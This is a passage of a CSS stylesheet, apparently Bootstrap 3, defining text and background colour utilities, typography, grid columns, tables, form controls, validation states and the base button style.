#2b542c; } .text-info { color: #31708f; } a.text-info:hover, a.text-info:focus { color: #245269; } .text-warning { color: #8a6d3b; } a.text-warning:hover, a.text-warning:focus { color: #66512c; } .text-danger { color: #a94442; } a.text-danger:hover, a.text-danger:focus { color: #843534; } .bg-primary { color: #fff; background-color: #337ab7; } a.bg-primary:hover, a.bg-primary:focus { background-color: #286090; } .bg-success { background-color: #dff0d8; } a.bg-success:hover, a.bg-success:focus { background-color: #c1e2b3; } .bg-info { background-color: #d9edf7; } a.bg-info:hover, a.bg-info:focus { background-color: #afd9ee; } .bg-warning { background-color: #fcf8e3; } a.bg-warning:hover, a.bg-warning:focus { background-color: #f7ecb5; } .bg-danger { background-color: #f2dede; } a.bg-danger:hover, a.bg-danger:focus { background-color: #e4b9b9; } .page-header { padding-bottom: 9px; margin: 40px 0 20px; border-bottom: 1px solid #eee; } ul, ol { margin-top: 0; margin-bottom: 10px; } ul ul, ol ul, ul ol, ol ol { margin-bottom: 0; } .list-unstyled { padding-left: 0; list-style: none; } .list-inline { padding-left: 0; margin-left: -5px; list-style: none; } .list-inline > li { display: inline-block; padding-right: 5px; padding-left: 5px; } dl { margin-top: 0; margin-bottom: 20px; } dt, dd { line-height: 1.42857143; } dt { font-weight: bold; } dd { margin-left: 0; } @media (min-width: 768px) { .dl-horizontal dt { float: left; width: 160px; overflow: hidden; clear: left; text-align: right; text-overflow: ellipsis; white-space: nowrap; } .dl-horizontal dd { margin-left: 180px; } } abbr[title], abbr[data-original-title] { cursor: help; border-bottom: 1px dotted #777; } .initialism { font-size: 90%; text-transform: uppercase; } blockquote { padding: 10px 20px; margin: 0 0 20px; font-size: 17.5px; border-left: 5px solid #eee; } blockquote p:last-child, blockquote ul:last-child, blockquote ol:last-child { margin-bottom: 0; } blockquote footer, blockquote small, blockquote .small { display: block; font-size: 80%; line-height: 1.42857143; color: #777; } blockquote footer:before, blockquote small:before, blockquote .small:before { content: '\2014 \00A0'; } .blockquote-reverse, blockquote.pull-right { padding-right: 15px; padding-left: 0; text-align: right; border-right: 5px solid #eee; border-left: 0; } .blockquote-reverse footer:before, blockquote.pull-right footer:before, .blockquote-reverse small:before, blockquote.pull-right small:before, .blockquote-reverse .small:before, blockquote.pull-right .small:before { content: ''; } .blockquote-reverse footer:after, blockquote.pull-right footer:after, .blockquote-reverse small:after, blockquote.pull-right small:after, .blockquote-reverse .small:after, blockquote.pull-right .small:after { content: '\00A0 \2014'; } address { margin-bottom: 20px; font-style: normal; line-height: 1.42857143; } code, kbd, pre, samp { font-family: Menlo, Monaco, Consolas, "Courier New", monospace; } code { padding: 2px 4px; font-size: 90%; color: #c7254e; background-color: #f9f2f4; border-radius: 4px; } kbd { padding: 2px 4px; font-size: 90%; color: #fff; background-color: #333; border-radius: 3px; -webkit-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .25); box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .25); } kbd kbd { padding: 0; font-size: 100%; font-weight: bold; -webkit-box-shadow: none; box-shadow: none; } pre { display: block; padding: 9.5px; margin: 0 0 10px; font-size: 13px; line-height: 1.42857143; color: #333; word-break: break-all; word-wrap: break-word; background-color: #f5f5f5; border: 1px solid #ccc; border-radius: 4px; } pre code { padding: 0; font-size: inherit; color: inherit; white-space: pre-wrap; background-color: transparent; border-radius: 0; } .pre-scrollable { max-height: 340px; overflow-y: scroll; } .container { padding-right: 15px; padding-left: 15px; margin-right: auto; margin-left: auto; } @media (min-width: 768px) { .container { width: 750px; } } @media (min-width: 992px) { .container { width: 970px; } } @media (min-width: 1200px) { .container { width: 1170px; } } .container-fluid { padding-right: 15px; padding-left: 15px; margin-right: auto; margin-left: auto; } .row { margin-right: -15px; margin-left: -15px; } .col-xs-1, .col-sm-1, .col-md-1, .col-lg-1, .col-xs-2, .col-sm-2, .col-md-2, .col-lg-2, .col-xs-3, .col-sm-3, .col-md-3, .col-lg-3, .col-xs-4, .col-sm-4, .col-md-4, .col-lg-4, .col-xs-5, .col-sm-5, .col-md-5, .col-lg-5, .col-xs-6, .col-sm-6, .col-md-6, .col-lg-6, .col-xs-7, .col-sm-7, .col-md-7, .col-lg-7, .col-xs-8, .col-sm-8, .col-md-8, .col-lg-8, .col-xs-9, .col-sm-9, .col-md-9, .col-lg-9, .col-xs-10, .col-sm-10, .col-md-10, .col-lg-10, .col-xs-11, .col-sm-11, .col-md-11, .col-lg-11, .col-xs-12, .col-sm-12, .col-md-12, .col-lg-12 { position: relative; min-height: 1px; padding-right: 15px; padding-left: 15px; } .col-xs-1, .col-xs-2, .col-xs-3, .col-xs-4, .col-xs-5, .col-xs-6, .col-xs-7, .col-xs-8, .col-xs-9, .col-xs-10, .col-xs-11, .col-xs-12 { float: left; } .col-xs-12 { width: 100%; } .col-xs-11 { width: 91.66666667%; } .col-xs-10 { width: 83.33333333%; } .col-xs-9 { width: 75%; } .col-xs-8 { width: 66.66666667%; } .col-xs-7 { width: 58.33333333%; } .col-xs-6 { width: 50%; } .col-xs-5 { width: 41.66666667%; } .col-xs-4 { width: 33.33333333%; } .col-xs-3 { width: 25%; } .col-xs-2 { width: 16.66666667%; } .col-xs-1 { width: 8.33333333%; } .col-xs-pull-12 { right: 100%; } .col-xs-pull-11 { right: 91.66666667%; } .col-xs-pull-10 { right: 83.33333333%; } .col-xs-pull-9 { right: 75%; } .col-xs-pull-8 { right: 66.66666667%; } .col-xs-pull-7 { right: 58.33333333%; } .col-xs-pull-6 { right: 50%; } .col-xs-pull-5 { right: 41.66666667%; } .col-xs-pull-4 { right: 33.33333333%; } .col-xs-pull-3 { right: 25%; } .col-xs-pull-2 { right: 16.66666667%; } .col-xs-pull-1 { right: 8.33333333%; } .col-xs-pull-0 { right: auto; } .col-xs-push-12 { left: 100%; } .col-xs-push-11 { left: 91.66666667%; } .col-xs-push-10 { left: 83.33333333%; } .col-xs-push-9 { left: 75%; } .col-xs-push-8 { left: 66.66666667%; } .col-xs-push-7 { left: 58.33333333%; } .col-xs-push-6 { left: 50%; } .col-xs-push-5 { left: 41.66666667%; } .col-xs-push-4 { left: 33.33333333%; } .col-xs-push-3 { left: 25%; } .col-xs-push-2 { left: 16.66666667%; } .col-xs-push-1 { left: 8.33333333%; } .col-xs-push-0 { left: auto; } .col-xs-offset-12 { margin-left: 100%; } .col-xs-offset-11 { margin-left: 91.66666667%; } .col-xs-offset-10 { margin-left: 83.33333333%; } .col-xs-offset-9 { margin-left: 75%; } .col-xs-offset-8 { margin-left: 66.66666667%; } .col-xs-offset-7 { margin-left: 58.33333333%; } .col-xs-offset-6 { margin-left: 50%; } .col-xs-offset-5 { margin-left: 41.66666667%; } .col-xs-offset-4 { margin-left: 33.33333333%; } .col-xs-offset-3 { margin-left: 25%; } .col-xs-offset-2 { margin-left: 16.66666667%; } .col-xs-offset-1 { margin-left: 8.33333333%; } .col-xs-offset-0 { margin-left: 0; } @media (min-width: 768px) { .col-sm-1, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-sm-10, .col-sm-11, .col-sm-12 { float: left; } .col-sm-12 { width: 100%; } .col-sm-11 { width: 91.66666667%; } .col-sm-10 { width: 83.33333333%; } .col-sm-9 { width: 75%; } .col-sm-8 { width: 66.66666667%; } .col-sm-7 { width: 58.33333333%; } .col-sm-6 { width: 50%; } .col-sm-5 { width: 41.66666667%; } .col-sm-4 { width: 33.33333333%; } .col-sm-3 { width: 25%; } .col-sm-2 { width: 16.66666667%; } .col-sm-1 { width: 8.33333333%; } .col-sm-pull-12 { right: 100%; } .col-sm-pull-11 { right: 91.66666667%; } .col-sm-pull-10 { right: 83.33333333%; } .col-sm-pull-9 { right: 75%; } .col-sm-pull-8 { right: 66.66666667%; } .col-sm-pull-7 { right: 58.33333333%; } .col-sm-pull-6 { right: 50%; } .col-sm-pull-5 { right: 41.66666667%; } .col-sm-pull-4 { right: 33.33333333%; } .col-sm-pull-3 { right: 25%; } .col-sm-pull-2 { right: 16.66666667%; } .col-sm-pull-1 { right: 8.33333333%; } .col-sm-pull-0 { right: auto; } .col-sm-push-12 { left: 100%; } .col-sm-push-11 { left: 91.66666667%; } .col-sm-push-10 { left: 83.33333333%; } .col-sm-push-9 { left: 75%; } .col-sm-push-8 { left: 66.66666667%; } .col-sm-push-7 { left: 58.33333333%; } .col-sm-push-6 { left: 50%; } .col-sm-push-5 { left: 41.66666667%; } .col-sm-push-4 { left: 33.33333333%; } .col-sm-push-3 { left: 25%; } .col-sm-push-2 { left: 16.66666667%; } .col-sm-push-1 { left: 8.33333333%; } .col-sm-push-0 { left: auto; } .col-sm-offset-12 { margin-left: 100%; } .col-sm-offset-11 { margin-left: 91.66666667%; } .col-sm-offset-10 { margin-left: 83.33333333%; } .col-sm-offset-9 { margin-left: 75%; } .col-sm-offset-8 { margin-left: 66.66666667%; } .col-sm-offset-7 { margin-left: 58.33333333%; } .col-sm-offset-6 { margin-left: 50%; } .col-sm-offset-5 { margin-left: 41.66666667%; } .col-sm-offset-4 { margin-left: 33.33333333%; } .col-sm-offset-3 { margin-left: 25%; } .col-sm-offset-2 { margin-left: 16.66666667%; } .col-sm-offset-1 { margin-left: 8.33333333%; } .col-sm-offset-0 { margin-left: 0; } } @media (min-width: 992px) { .col-md-1, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9, .col-md-10, .col-md-11, .col-md-12 { float: left; } .col-md-12 { width: 100%; } .col-md-11 { width: 91.66666667%; } .col-md-10 { width: 83.33333333%; } .col-md-9 { width: 75%; } .col-md-8 { width: 66.66666667%; } .col-md-7 { width: 58.33333333%; } .col-md-6 { width: 50%; } .col-md-5 { width: 41.66666667%; } .col-md-4 { width: 33.33333333%; } .col-md-3 { width: 25%; } .col-md-2 { width: 16.66666667%; } .col-md-1 { width: 8.33333333%; } .col-md-pull-12 { right: 100%; } .col-md-pull-11 { right: 91.66666667%; } .col-md-pull-10 { right: 83.33333333%; } .col-md-pull-9 { right: 75%; } .col-md-pull-8 { right: 66.66666667%; } .col-md-pull-7 { right: 58.33333333%; } .col-md-pull-6 { right: 50%; } .col-md-pull-5 { right: 41.66666667%; } .col-md-pull-4 { right: 33.33333333%; } .col-md-pull-3 { right: 25%; } .col-md-pull-2 { right: 16.66666667%; } .col-md-pull-1 { right: 8.33333333%; } .col-md-pull-0 { right: auto; } .col-md-push-12 { left: 100%; } .col-md-push-11 { left: 91.66666667%; } .col-md-push-10 { left: 83.33333333%; } .col-md-push-9 { left: 75%; } .col-md-push-8 { left: 66.66666667%; } .col-md-push-7 { left: 58.33333333%; } .col-md-push-6 { left: 50%; } .col-md-push-5 { left: 41.66666667%; } .col-md-push-4 { left: 33.33333333%; } .col-md-push-3 { left: 25%; } .col-md-push-2 { left: 16.66666667%; } .col-md-push-1 { left: 8.33333333%; } .col-md-push-0 { left: auto; } .col-md-offset-12 { margin-left: 100%; } .col-md-offset-11 { margin-left: 91.66666667%; } .col-md-offset-10 { margin-left: 83.33333333%; } .col-md-offset-9 { margin-left: 75%; } .col-md-offset-8 { margin-left: 66.66666667%; } .col-md-offset-7 { margin-left: 58.33333333%; } .col-md-offset-6 { margin-left: 50%; } .col-md-offset-5 { margin-left: 41.66666667%; } .col-md-offset-4 { margin-left: 33.33333333%; } .col-md-offset-3 { margin-left: 25%; } .col-md-offset-2 { margin-left: 16.66666667%; } .col-md-offset-1 { margin-left: 8.33333333%; } .col-md-offset-0 { margin-left: 0; } } @media (min-width: 1200px) { .col-lg-1, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-lg-10, .col-lg-11, .col-lg-12 { float: left; } .col-lg-12 { width: 100%; } .col-lg-11 { width: 91.66666667%; } .col-lg-10 { width: 83.33333333%; } .col-lg-9 { width: 75%; } .col-lg-8 { width: 66.66666667%; } .col-lg-7 { width: 58.33333333%; } .col-lg-6 { width: 50%; } .col-lg-5 { width: 41.66666667%; } .col-lg-4 { width: 33.33333333%; } .col-lg-3 { width: 25%; } .col-lg-2 { width: 16.66666667%; } .col-lg-1 { width: 8.33333333%; } .col-lg-pull-12 { right: 100%; } .col-lg-pull-11 { right: 91.66666667%; } .col-lg-pull-10 { right: 83.33333333%; } .col-lg-pull-9 { right: 75%; } .col-lg-pull-8 { right: 66.66666667%; } .col-lg-pull-7 { right: 58.33333333%; } .col-lg-pull-6 { right: 50%; } .col-lg-pull-5 { right: 41.66666667%; } .col-lg-pull-4 { right: 33.33333333%; } .col-lg-pull-3 { right: 25%; } .col-lg-pull-2 { right: 16.66666667%; } .col-lg-pull-1 { right: 8.33333333%; } .col-lg-pull-0 { right: auto; } .col-lg-push-12 { left: 100%; } .col-lg-push-11 { left: 91.66666667%; } .col-lg-push-10 { left: 83.33333333%; } .col-lg-push-9 { left: 75%; } .col-lg-push-8 { left: 66.66666667%; } .col-lg-push-7 { left: 58.33333333%; } .col-lg-push-6 { left: 50%; } .col-lg-push-5 { left: 41.66666667%; } .col-lg-push-4 { left: 33.33333333%; } .col-lg-push-3 { left: 25%; } .col-lg-push-2 { left: 16.66666667%; } .col-lg-push-1 { left: 8.33333333%; } .col-lg-push-0 { left: auto; } .col-lg-offset-12 { margin-left: 100%; } .col-lg-offset-11 { margin-left: 91.66666667%; } .col-lg-offset-10 { margin-left: 83.33333333%; } .col-lg-offset-9 { margin-left: 75%; } .col-lg-offset-8 { margin-left: 66.66666667%; } .col-lg-offset-7 { margin-left: 58.33333333%; } .col-lg-offset-6 { margin-left: 50%; } .col-lg-offset-5 { margin-left: 41.66666667%; } .col-lg-offset-4 { margin-left: 33.33333333%; } .col-lg-offset-3 { margin-left: 25%; } .col-lg-offset-2 { margin-left: 16.66666667%; } .col-lg-offset-1 { margin-left: 8.33333333%; } .col-lg-offset-0 { margin-left: 0; } } table { background-color: transparent; } caption { padding-top: 8px; padding-bottom: 8px; color: #777; text-align: left; } th { text-align: left; } .table { width: 100%; max-width: 100%; margin-bottom: 20px; } .table > thead > tr > th, .table > tbody > tr > th, .table > tfoot > tr > th, .table > thead > tr > td, .table > tbody > tr > td, .table > tfoot > tr > td { padding: 8px; line-height: 1.42857143; vertical-align: top; border-top: 1px solid #ddd; } .table > thead > tr > th { vertical-align: bottom; border-bottom: 2px solid #ddd; } .table > caption + thead > tr:first-child > th, .table > colgroup + thead > tr:first-child > th, .table > thead:first-child > tr:first-child > th, .table > caption + thead > tr:first-child > td, .table > colgroup + thead > tr:first-child > td, .table > thead:first-child > tr:first-child > td { border-top: 0; } .table > tbody + tbody { border-top: 2px solid #ddd; } .table .table { background-color: #fff; } .table-condensed > thead > tr > th, .table-condensed > tbody > tr > th, .table-condensed > tfoot > tr > th, .table-condensed > thead > tr > td, .table-condensed > tbody > tr > td, .table-condensed > tfoot > tr > td { padding: 5px; } .table-bordered { border: 1px solid #ddd; } .table-bordered > thead > tr > th, .table-bordered > tbody > tr > th, .table-bordered > tfoot > tr > th, .table-bordered > thead > tr > td, .table-bordered > tbody > tr > td, .table-bordered > tfoot > tr > td { border: 1px solid #ddd; } .table-bordered > thead > tr > th, .table-bordered > thead > tr > td { border-bottom-width: 2px; } .table-striped > tbody > tr:nth-of-type(odd) { background-color: #f9f9f9; } .table-hover > tbody > tr:hover { background-color: #f5f5f5; } table col[class*="col-"] { position: static; display: table-column; float: none; } table td[class*="col-"], table th[class*="col-"] { position: static; display: table-cell; float: none; } .table > thead > tr > td.active, .table > tbody > tr > td.active, .table > tfoot > tr > td.active, .table > thead > tr > th.active, .table > tbody > tr > th.active, .table > tfoot > tr > th.active, .table > thead > tr.active > td, .table > tbody > tr.active > td, .table > tfoot > tr.active > td, .table > thead > tr.active > th, .table > tbody > tr.active > th, .table > tfoot > tr.active > th { background-color: #f5f5f5; } .table-hover > tbody > tr > td.active:hover, .table-hover > tbody > tr > th.active:hover, .table-hover > tbody > tr.active:hover > td, .table-hover > tbody > tr:hover > .active, .table-hover > tbody > tr.active:hover > th { background-color: #e8e8e8; } .table > thead > tr > td.success, .table > tbody > tr > td.success, .table > tfoot > tr > td.success, .table > thead > tr > th.success, .table > tbody > tr > th.success, .table > tfoot > tr > th.success, .table > thead > tr.success > td, .table > tbody > tr.success > td, .table > tfoot > tr.success > td, .table > thead > tr.success > th, .table > tbody > tr.success > th, .table > tfoot > tr.success > th { background-color: #dff0d8; } .table-hover > tbody > tr > td.success:hover, .table-hover > tbody > tr > th.success:hover, .table-hover > tbody > tr.success:hover > td, .table-hover > tbody > tr:hover > .success, .table-hover > tbody > tr.success:hover > th { background-color: #d0e9c6; } .table > thead > tr > td.info, .table > tbody > tr > td.info, .table > tfoot > tr > td.info, .table > thead > tr > th.info, .table > tbody > tr > th.info, .table > tfoot > tr > th.info, .table > thead > tr.info > td, .table > tbody > tr.info > td, .table > tfoot > tr.info > td, .table > thead > tr.info > th, .table > tbody > tr.info > th, .table > tfoot > tr.info > th { background-color: #d9edf7; } .table-hover > tbody > tr > td.info:hover, .table-hover > tbody > tr > th.info:hover, .table-hover > tbody > tr.info:hover > td, .table-hover > tbody > tr:hover > .info, .table-hover > tbody > tr.info:hover > th { background-color: #c4e3f3; } .table > thead > tr > td.warning, .table > tbody > tr > td.warning, .table > tfoot > tr > td.warning, .table > thead > tr > th.warning, .table > tbody > tr > th.warning, .table > tfoot > tr > th.warning, .table > thead > tr.warning > td, .table > tbody > tr.warning > td, .table > tfoot > tr.warning > td, .table > thead > tr.warning > th, .table > tbody > tr.warning > th, .table > tfoot > tr.warning > th { background-color: #fcf8e3; } .table-hover > tbody > tr > td.warning:hover, .table-hover > tbody > tr > th.warning:hover, .table-hover > tbody > tr.warning:hover > td, .table-hover > tbody > tr:hover > .warning, .table-hover > tbody > tr.warning:hover > th { background-color: #faf2cc; } .table > thead > tr > td.danger, .table > tbody > tr > td.danger, .table > tfoot > tr > td.danger, .table > thead > tr > th.danger, .table > tbody > tr > th.danger, .table > tfoot > tr > th.danger, .table > thead > tr.danger > td, .table > tbody > tr.danger > td, .table > tfoot > tr.danger > td, .table > thead > tr.danger > th, .table > tbody > tr.danger > th, .table > tfoot > tr.danger > th { background-color: #f2dede; } .table-hover > tbody > tr > td.danger:hover, .table-hover > tbody > tr > th.danger:hover, .table-hover > tbody > tr.danger:hover > td, .table-hover > tbody > tr:hover > .danger, .table-hover > tbody > tr.danger:hover > th { background-color: #ebcccc; } .table-responsive { min-height: .01%; overflow-x: auto; } @media screen and (max-width: 767px) { .table-responsive { width: 100%; margin-bottom: 15px; overflow-y: hidden; -ms-overflow-style: -ms-autohiding-scrollbar; border: 1px solid #ddd; } .table-responsive > .table { margin-bottom: 0; } .table-responsive > .table > thead > tr > th, .table-responsive > .table > tbody > tr > th, .table-responsive > .table > tfoot > tr > th, .table-responsive > .table > thead > tr > td, .table-responsive > .table > tbody > tr > td, .table-responsive > .table > tfoot > tr > td { white-space: nowrap; } .table-responsive > .table-bordered { border: 0; } .table-responsive > .table-bordered > thead > tr > th:first-child, .table-responsive > .table-bordered > tbody > tr > th:first-child, .table-responsive > .table-bordered > tfoot > tr > th:first-child, .table-responsive > .table-bordered > thead > tr > td:first-child, .table-responsive > .table-bordered > tbody > tr > td:first-child, .table-responsive > .table-bordered > tfoot > tr > td:first-child { border-left: 0; } .table-responsive > .table-bordered > thead > tr > th:last-child, .table-responsive > .table-bordered > tbody > tr > th:last-child, .table-responsive > .table-bordered > tfoot > tr > th:last-child, .table-responsive > .table-bordered > thead > tr > td:last-child, .table-responsive > .table-bordered > tbody > tr > td:last-child, .table-responsive > .table-bordered > tfoot > tr > td:last-child { border-right: 0; } .table-responsive > .table-bordered > tbody > tr:last-child > th, .table-responsive > .table-bordered > tfoot > tr:last-child > th, .table-responsive > .table-bordered > tbody > tr:last-child > td, .table-responsive > .table-bordered > tfoot > tr:last-child > td { border-bottom: 0; } } fieldset { min-width: 0; padding: 0; margin: 0; border: 0; } legend { display: block; width: 100%; padding: 0; margin-bottom: 20px; font-size: 21px; line-height: inherit; color: #333; border: 0; border-bottom: 1px solid #e5e5e5; } label { display: inline-block; max-width: 100%; margin-bottom: 5px; font-weight: bold; } input[type="search"] { -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; } input[type="radio"], input[type="checkbox"] { margin: 4px 0 0; margin-top: 1px \9; line-height: normal; } input[type="file"] { display: block; } input[type="range"] { display: block; width: 100%; } select[multiple], select[size] { height: auto; } input[type="file"]:focus, input[type="radio"]:focus, input[type="checkbox"]:focus { outline: thin dotted; outline: 5px auto -webkit-focus-ring-color; outline-offset: -2px; } output { display: block; padding-top: 7px; font-size: 14px; line-height: 1.42857143; color: #555; } .form-control { display: block; width: 100%; height: 34px; padding: 6px 12px; font-size: 14px; line-height: 1.42857143; color: #555; background-color: #fff; background-image: none; border: 1px solid #ccc; border-radius: 4px; -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); -webkit-transition: border-color ease-in-out .15s, -webkit-box-shadow ease-in-out .15s; -o-transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s; transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s; } .form-control:focus { border-color: #66afe9; outline: 0; -webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, .6); box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, .6); } .form-control::-moz-placeholder { color: #999; opacity: 1; } .form-control:-ms-input-placeholder { color: #999; } .form-control::-webkit-input-placeholder { color: #999; } .form-control[disabled], .form-control[readonly], fieldset[disabled] .form-control { background-color: #eee; opacity: 1; } .form-control[disabled], fieldset[disabled] .form-control { cursor: not-allowed; } textarea.form-control { height: auto; } input[type="search"] { -webkit-appearance: none; } @media screen and (-webkit-min-device-pixel-ratio: 0) { input[type="date"].form-control, input[type="time"].form-control, input[type="datetime-local"].form-control, input[type="month"].form-control { line-height: 34px; } input[type="date"].input-sm, input[type="time"].input-sm, input[type="datetime-local"].input-sm, input[type="month"].input-sm, .input-group-sm input[type="date"], .input-group-sm input[type="time"], .input-group-sm input[type="datetime-local"], .input-group-sm input[type="month"] { line-height: 30px; } input[type="date"].input-lg, input[type="time"].input-lg, input[type="datetime-local"].input-lg, input[type="month"].input-lg, .input-group-lg input[type="date"], .input-group-lg input[type="time"], .input-group-lg input[type="datetime-local"], .input-group-lg input[type="month"] { line-height: 46px; } } .form-group { margin-bottom: 15px; } .radio, .checkbox { position: relative; display: block; margin-top: 10px; margin-bottom: 10px; } .radio label, .checkbox label { min-height: 20px; padding-left: 20px; margin-bottom: 0; font-weight: normal; cursor: pointer; } .radio input[type="radio"], .radio-inline input[type="radio"], .checkbox input[type="checkbox"], .checkbox-inline input[type="checkbox"] { position: absolute; margin-top: 4px \9; margin-left: -20px; } .radio + .radio, .checkbox + .checkbox { margin-top: -5px; } .radio-inline, .checkbox-inline { position: relative; display: inline-block; padding-left: 20px; margin-bottom: 0; font-weight: normal; vertical-align: middle; cursor: pointer; } .radio-inline + .radio-inline, .checkbox-inline + .checkbox-inline { margin-top: 0; margin-left: 10px; } input[type="radio"][disabled], input[type="checkbox"][disabled], input[type="radio"].disabled, input[type="checkbox"].disabled, fieldset[disabled] input[type="radio"], fieldset[disabled] input[type="checkbox"] { cursor: not-allowed; } .radio-inline.disabled, .checkbox-inline.disabled, fieldset[disabled] .radio-inline, fieldset[disabled] .checkbox-inline { cursor: not-allowed; } .radio.disabled label, .checkbox.disabled label, fieldset[disabled] .radio label, fieldset[disabled] .checkbox label { cursor: not-allowed; } .form-control-static { min-height: 34px; padding-top: 7px; padding-bottom: 7px; margin-bottom: 0; } .form-control-static.input-lg, .form-control-static.input-sm { padding-right: 0; padding-left: 0; } .input-sm { height: 30px; padding: 5px 10px; font-size: 12px; line-height: 1.5; border-radius: 3px; } select.input-sm { height: 30px; line-height: 30px; } textarea.input-sm, select[multiple].input-sm { height: auto; } .form-group-sm .form-control { height: 30px; padding: 5px 10px; font-size: 12px; line-height: 1.5; border-radius: 3px; } .form-group-sm select.form-control { height: 30px; line-height: 30px; } .form-group-sm textarea.form-control, .form-group-sm select[multiple].form-control { height: auto; } .form-group-sm .form-control-static { height: 30px; min-height: 32px; padding: 6px 10px; font-size: 12px; line-height: 1.5; } .input-lg { height: 46px; padding: 10px 16px; font-size: 18px; line-height: 1.3333333; border-radius: 6px; } select.input-lg { height: 46px; line-height: 46px; } textarea.input-lg, select[multiple].input-lg { height: auto; } .form-group-lg .form-control { height: 46px; padding: 10px 16px; font-size: 18px; line-height: 1.3333333; border-radius: 6px; } .form-group-lg select.form-control { height: 46px; line-height: 46px; } .form-group-lg textarea.form-control, .form-group-lg select[multiple].form-control { height: auto; } .form-group-lg .form-control-static { height: 46px; min-height: 38px; padding: 11px 16px; font-size: 18px; line-height: 1.3333333; } .has-feedback { position: relative; } .has-feedback .form-control { padding-right: 42.5px; } .form-control-feedback { position: absolute; top: 0; right: 0; z-index: 2; display: block; width: 34px; height: 34px; line-height: 34px; text-align: center; pointer-events: none; } .input-lg + .form-control-feedback, .input-group-lg + .form-control-feedback, .form-group-lg .form-control + .form-control-feedback { width: 46px; height: 46px; line-height: 46px; } .input-sm + .form-control-feedback, .input-group-sm + .form-control-feedback, .form-group-sm .form-control + .form-control-feedback { width: 30px; height: 30px; line-height: 30px; } .has-success .help-block, .has-success .control-label, .has-success .radio, .has-success .checkbox, .has-success .radio-inline, .has-success .checkbox-inline, .has-success.radio label, .has-success.checkbox label, .has-success.radio-inline label, .has-success.checkbox-inline label { color: #3c763d; } .has-success .form-control { border-color: #3c763d; -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); } .has-success .form-control:focus { border-color: #2b542c; -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #67b168; box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #67b168; } .has-success .input-group-addon { color: #3c763d; background-color: #dff0d8; border-color: #3c763d; } .has-success .form-control-feedback { color: #3c763d; } .has-warning .help-block, .has-warning .control-label, .has-warning .radio, .has-warning .checkbox, .has-warning .radio-inline, .has-warning .checkbox-inline, .has-warning.radio label, .has-warning.checkbox label, .has-warning.radio-inline label, .has-warning.checkbox-inline label { color: #8a6d3b; } .has-warning .form-control { border-color: #8a6d3b; -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); } .has-warning .form-control:focus { border-color: #66512c; -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #c0a16b; box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #c0a16b; } .has-warning .input-group-addon { color: #8a6d3b; background-color: #fcf8e3; border-color: #8a6d3b; } .has-warning .form-control-feedback { color: #8a6d3b; } .has-error .help-block, .has-error .control-label, .has-error .radio, .has-error .checkbox, .has-error .radio-inline, .has-error .checkbox-inline, .has-error.radio label, .has-error.checkbox label, .has-error.radio-inline label, .has-error.checkbox-inline label { color: #a94442; } .has-error .form-control { border-color: #a94442; -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); } .has-error .form-control:focus { border-color: #843534; -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #ce8483; box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #ce8483; } .has-error .input-group-addon { color: #a94442; background-color: #f2dede; border-color: #a94442; } .has-error .form-control-feedback { color: #a94442; } .has-feedback label ~ .form-control-feedback { top: 25px; } .has-feedback label.sr-only ~ .form-control-feedback { top: 0; } .help-block { display: block; margin-top: 5px; margin-bottom: 10px; color: #737373; } @media (min-width: 768px) { .form-inline .form-group { display: inline-block; margin-bottom: 0; vertical-align: middle; } .form-inline .form-control { display: inline-block; width: auto; vertical-align: middle; } .form-inline .form-control-static { display: inline-block; } .form-inline .input-group { display: inline-table; vertical-align: middle; } .form-inline .input-group .input-group-addon, .form-inline .input-group .input-group-btn, .form-inline .input-group .form-control { width: auto; } .form-inline .input-group > .form-control { width: 100%; } .form-inline .control-label { margin-bottom: 0; vertical-align: middle; } .form-inline .radio, .form-inline .checkbox { display: inline-block; margin-top: 0; margin-bottom: 0; vertical-align: middle; } .form-inline .radio label, .form-inline .checkbox label { padding-left: 0; } .form-inline .radio input[type="radio"], .form-inline .checkbox input[type="checkbox"] { position: relative; margin-left: 0; } .form-inline .has-feedback .form-control-feedback { top: 0; } } .form-horizontal .radio, .form-horizontal .checkbox, .form-horizontal .radio-inline, .form-horizontal .checkbox-inline { padding-top: 7px; margin-top: 0; margin-bottom: 0; } .form-horizontal .radio, .form-horizontal .checkbox { min-height: 27px; } .form-horizontal .form-group { margin-right: -15px; margin-left: -15px; } @media (min-width: 768px) { .form-horizontal .control-label { padding-top: 7px; margin-bottom: 0; text-align: right; } } .form-horizontal .has-feedback .form-control-feedback { right: 15px; } @media (min-width: 768px) { .form-horizontal .form-group-lg .control-label { padding-top: 14.333333px; font-size: 18px; } } @media (min-width: 768px) { .form-horizontal .form-group-sm .control-label { padding-top: 6px; font-size: 12px; } } .btn { display: inline-block; padding: 6px 12px; margin-bottom: 0; font-size: 14px; font-weight: normal; line-height: 1.42857143; text-align: center; white-space: nowrap; vertical-align: middle; -ms-touch-action: manipulation; touch-action: manipulation; cursor: pointer; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; background-image: none; border: 1px solid transparent; border-radius: 4px; } 